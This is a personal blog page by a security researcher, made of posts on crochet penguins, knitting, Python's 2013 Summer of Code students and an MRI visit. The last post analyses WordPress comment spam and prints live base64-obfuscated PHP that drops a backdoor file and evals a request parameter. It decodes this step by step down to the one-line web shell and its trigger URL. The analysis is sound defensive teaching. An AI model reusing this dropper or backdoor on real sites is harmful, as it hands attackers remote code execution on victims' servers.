Welcome!

This is my place to try out new web code, share photos, and supply the world with Mailman documentation.

I hold a PhD in Computer Security, with my focus as web security. I am currently at the University of New Mexico doing a postdoc in the adaptive systems lab, where I get to work on projects related to biology, computer security, and artificial intelligence. My current project involves an automated repair system called Genprog that uses evolutionary methods to fix legacy software.

My contract at UNM ends soon so I am seeking a job. Please feel free to peruse my profile on LinkedIn.

I am an open source developer working on Mailman Suite, mostly the new web interface. I am also running Python's Google Summer of Code efforts for 2013.

If you're looking for my latest photos, you might want to try my flickr photostream.

The picture at the top of the page is of a stained glass ceiling in Casa Loma. I took the picture while visiting Toronto in summer 2006.

Terri's latest updates

June 10, 2013

A passel of penguins

Last year at Pycon, I made a bunch of teensy amigurumi penguins to give to the friends who were sprinting on GNU Mailman with me. (Small round penguin ball pattern here) Florian commented some time later that he nearly didn’t get to keep his, as his wife is a huge fan of penguins, so since he had a new baby at home by the time of the next PyCon, I figured I knew what I should be doing: making a small pile of penguins for his family.

Amigurumi Penguins

The emphasis was indeed on small since Florian would have to fit them in his suitcase for an international flight but not too small, since they were sort of intended as baby toys. Below you can see a size comparison of the largest one (in proto-penguin form) with a spatula (made unintentionally hilarious later on when the spatula was discovered lying on a pillow in the spare bedroom and questions were asked).

Penguin + Spatula

And here’s the smallest one, with my hand for size. It may help you to know that my hands are fairly small — I can just barely play a full-sized violin and would probably be more comfortable on a 3/4. (Well, okay, I haven’t actually played the violin in years, but the point is that I have almost child-sized hands.)

Amigurumi Penguin

The patterns

The big round penguin

Amigurumi Penguin by Lion Brand Yarn. I’d made this pattern before, and it’s actually what inspired my small penguin balls from last year. It’s a very easy pattern for beginner crocheters, and you can get a fair bit of expression out of adjusting the penguin’s beak and wings.

The tall penguin

Penguin Amigurumi by Tamie Oldridge. This one’s especially fun because he has a little separate hood that you place over the top ball (hence the bowling-pin shaped proto-penguin in the photo with the spatula).

The pink penguin

Amigurumi Penguin Cell Phone Strap by Pierrot (Gosyo Co., Ltd). As you can tell from the title, this one was meant to be made with smaller yarn or cotton thread, but I scaled up so it wouldn’t be a choking hazard. People were so entertained by this one that I made a few more at the conference and gave them away too.

Here’s two pictures of one of those little wool penguins, before and after felting, with my apple power connector, watch and ring for size comparison. You can see that it didn’t get that much smaller but it definitely gets fluffier with the hand felting.

2013-03-21 00.28.082013-03-21 08.36.35

The yarns used for that one were Knit Picks palette yarns, which is one of my staples for travel since I can take small balls and a handful of stuffing and still make cute things. (If you ever feel a need to buy me hundreds of dollars of wool, you can buy a sampler pack with all the colours. I’d use them, promise!)

The felting was done by hand in the hotel using hot water from the coffee pot, a mug and shampoo from those teensy little hotel bottles. Who knew hotels contained everything you needed for hand felting? Heat water without any coffee in the machine, pour a few drops of shampoo on the penguin, dip it in the hot water, roll it around in your hands or scrub at it, rinse, repeat, replacing the water if it gets cold or too soapy.

Finally, here’s one more picture of the big pink penguin hanging out on my windowsill in Albuquerque:

Amigurumi Penguin

by Dr. Terri at June 10, 2013 05:11 PM

Python student blogs

One of the things that Python asks of all students under our "umbrella" is that they blog regularly about their projects. This helps me keep track of how all the students are doing, and helps advertise the interesting work they'll be doing to a larger community. I've set up a blog aggregator here for Python's Summer of Code Updates and you can see that folk are already talking about their projects as they settle in.

Coding starts June 17th. Here's to a great summer!

comment count unavailable comments

June 10, 2013 04:07 AM

Welcome Summer of Code 2013 students!

The Python Software Foundation has 36 Google Summer of Code students starting next week!

If you'd like to learn more about any of the student projects as they were proposed, you can also see the list and descriptions on the GSoC Website. But here's a list, grouped by project:


Core Python
Phil Webster, IDLE Improvements
Jayakrishnan Rajagopalasarma, IDLE Improvements




ASCEND
Ksenija Bestuzheva, ASCEND: dynamic modelling improvements
Pallav Tinna, Porting to gtk3 and GUI improvements




Astropy
Madhura Parikh, Astropy: Develop the Astroquery toolkit into a coherent package
Axel Donath, AstroPy: Extending the functionality of the photutils package.



GNU Mailman
Manish Gill, Mailman: Authenticated REST-API in Postorius/Django.
Abhilash Raj, GNU Mailman - Integration of OpenPGP




Kivy
Abhinav, Kivy: Kivy Designer
Ivan Pusic, PyOBJus



MNE-Python
Mainak Jas, Real-time Machine Learning for MEG in MNE-Python
Roman Goj, MNE-Python: Implement time-frequency beamformers




OpenHatch
David Lu, Data Driven Mentorship App
Tarashish Mishra, OpenHatch: Rewrite training missions using oppia (Training missions, version 2)



PyDy
Tarun Gaba, PyDy: Visualization of the simulated motion of multibody systems
Tyler Wade, wxPython Bindings for PyPy using CFFI




PyPy
Manuel Jacob, Implementing Python 3.3 features for PyPy




Pyramid
Andraž Brodnik, Better Debug tools
Domen Kožar, Substance D improvements




PySoy
Juhani Åhman, PySoy: Improve Android and HTML5 Soy clients




Scikit-Image
Chintak Sheth, scikit-image: Image Inpainting for Restoration
Marc de Klerk, scikit-image: Segmentation Algorithms as a basis for an OpenCL feasible study
Ankit Agrawal, scikit-image : Implementation of STAR and Binary Feature Detectors and Descriptors



Scikit-learn
Kemal Eren, scikit-learn: Biclustering algorithms, scoring, and data generation
Nicolas Trésegnie, Scikit-learn : online low rank matrix completion


SciPy
Surya Kasturi, SciPy: Improving functionality and Maintainability of SciPy Central
Arink Verma, SciPy/NumPy : Performance parity between numpy arrays and Python scalars
Blake Griffith, Improvements to the sparse package of Scipy: support for bool dtype and better interaction with NumPy




SfePy
Ankit Mahato, SfePy: Enhancing the solver to simulate solid-liquid phase change phenomenon in convective-diffusive situations


Statsmodels
Ana Martínez Pardo, Statsmodels: Discrete choice models
Chad Fulton, Statsmodels: Time Series Analysis Extensions (esp. regime-switching models)


SunPy
Michael J. Malocha, SunPy - Interfacing with Heliocphysics Databases
Simon Liedtke, SunPy: Database of local data



Tahoe-LAFS
Mark Berger, Upload Strategy of Happiness in Tahoe-LAFS


Twisted
Shiyao Ma,Twisted: Switching to Formal Parsers
Kai Zhang,Twisted: Deferred Cancellation

We had a great number of talented applicants and I only wish we'd been able to take more of them. Congratulations to those accepted and to the rest of you, I hope you'll apply again next year!

comment count unavailable comments

June 10, 2013 12:47 AM

June 07, 2013

"gonna go to the place that's the best"

The MRI was unintentionally hilarious. I'd just gotten moved into my magical science magneto-coffin and told I couldn't move anymore then what comes on the headphones but spirit in the sky.

"When I die and they lay me to rest
Gonna go to the place that's the best"


Oy, it was hard not to laugh to that while lying still on a slab holding my emergency "get me out of here" button. (which isn't a button so much as an old-school camera bulb!)

Anyhow, other than that it was loud (as expected) but not as boring as I'd thought it would be because the noises it makes change often enough to keep me thinking about what might be going on in there, and honestly, just staying still for 20 minutes takes a fair bit of concentration for me. Plus I had the headphones and 70's rock to keep me amused (that was my choice and *clearly* it was the right one). Sometimes I had to just focus on the cowbell to stay still, because apparently that is how I work. The headphones are kind of cool -- rather than wires, they've got tubes filled with music and occasional instructions from the radiologist.

I won't have results 'till sometime next week; I presume the doctor will phone me like she did last time. I'm hoping I can get copies of the MRI and Xrays so I can see my innards, 'cause how cool would that be?

A twitter friend suggested I should make a list of #innappropriateMRIsongs, so in that vein, I give you Mystery and Crime:

Oh no, what have I done?
Oh no, what have I done?
I've got a pain in my heart
A beat that's as loud as a drum
Now, now what do I do?
Now, now what do I do?
You got to get me out of here
Before these brand new clothes aren't new anymore


And that's not even getting to the murder murder murder part that's the usual reason this is a totally inappropriate song for all occasions. (I once had to stop myself from singing it in an airport...)

I dare you all to think of more inappropriate MRI songs, but I'm going to bed!

comment count unavailable comments

June 07, 2013 05:59 AM

May 31, 2013

Leafy sweater for Baby O’Byrne

This little leafy sweater is a present for Baby O’Byrne, whose name is a secret until she makes it out into the world. She was due a few days ago as I’m writing this; I’m just waiting for the announcement of her arrival! I’ve scheduled this post to go up on May 31st, and we’ll see if she comes out before it does.

IMG_9431

I’ve been friends with Baby O’Byrne’s dad for a long time, so this sweater was made with him in mind. Ken and I have spent a great many hours hiking and camping together, so I had bought some variagated green yarn and when I saw this pattern in a book at the library, I figured I had a match.

IMG_9430

The little details of the pattern are what drew me in. I really like the leafy motif and the little seed-stitch edging is not only cute, but keeps the piece from curling up too much at the edges. Clever! And speaking of details, aren’t those buttons adorable? I bought them originally for a project of my own and had enough left over for the sweater. Here’s a close up:

IMG_9433

This isn’t the only piece I’ve made for her, but I forgot to take photos before packaging the rest up in time for the baby shower. (This one wasn’t ready in time so got sent later.) Oops! Her dad has a new camera, though, so maybe he’ll have time to take pictures of her wearing the two hats and two sets of booties I sent along before this sweater was finished. We’ll see how co-operative she is, though!

The Pattern:

Autumn Leaves by Nikki Van De Car from “What to Knit When You’re Expecting.” I really liked the book and will probably be buying my own copy rather than monopolize the library one again!

by Dr. Terri at May 31, 2013 03:00 PM

May 27, 2013

Knitted Finger Moustache

Today’s project does double-duty as both a knitting project and a photo assignment: a knitted finger moustache and a self portrait for Active Assignment Weekly.

Knitted Finger Moustache Triptych

Taken for AAW: 20 – 27 May: You look Marvelous (and Ravelry)

I found this project on Ravelry late one evening when I was trying to find errata for another pattern which was totally not working for me, and this seemed like the perfect antidote to the frustration. I was debating doing some photos with some inanimate objects like the link above shows, but I happened to check AAW and noticed today’s deadline on the self-portrait assignment for this week hadn’t hit yet, so… self-portrait time!

This being a self portrait assignment that I had an hour and a half to shoot, process and submit, it’s sans-makeup or even a hairbrush. That’s pretty much me on a lazy holiday Monday anyhow — silly knitting project, a camera, a book, and a computer.

What it took (photo-wise):

These are pretty much straight out of camera aside from stitching them together for a triptych, although I admit to photoshopping the scratch on my forehead and removing a stray hair that looked weird. I didn’t plan for a triptych or the eye thing, these just happened to be among the best of my “let’s goof off with my silly knitting project in front of my camera with a remote” shots.

Things I learned:

- Putting all the photos on one layer, moving them around, then doing image->reveal all in photoshop makes triptyches *waaaay* easier. No more figuring out canvas size!
- you can resize just one layer by using ^T in photoshop, just don’t forget to tell it when you’re done or it acts all locked.

The knitting pattern:

It’s a moustache, for your fingers! by Megan Death (It’s free!)

by Dr. Terri at May 27, 2013 07:45 PM

May 06, 2013

Falling down the rabbit hole: An analysis of some questionable blog spam

WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.


So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:


eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));


Or this clearly related one (note that the top of the string is the same):

aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==


As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:


>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"


(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:


eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'));


Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=


You might think we're getting close now, but here's what you get out of decoding that:


>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"


Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.

Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.

Here's what it looks like without the comments:


if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l']))eval(stripslashes($_REQUEST['c'.'z'.'l'.'zyl']));


So let's stick together those concatenated strings again:


if(isset($_REQUEST['czlzyl']))eval(stripslashes($_REQUEST['czlzyl']));



Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!

comment count unavailable comments

May 06, 2013 08:01 PM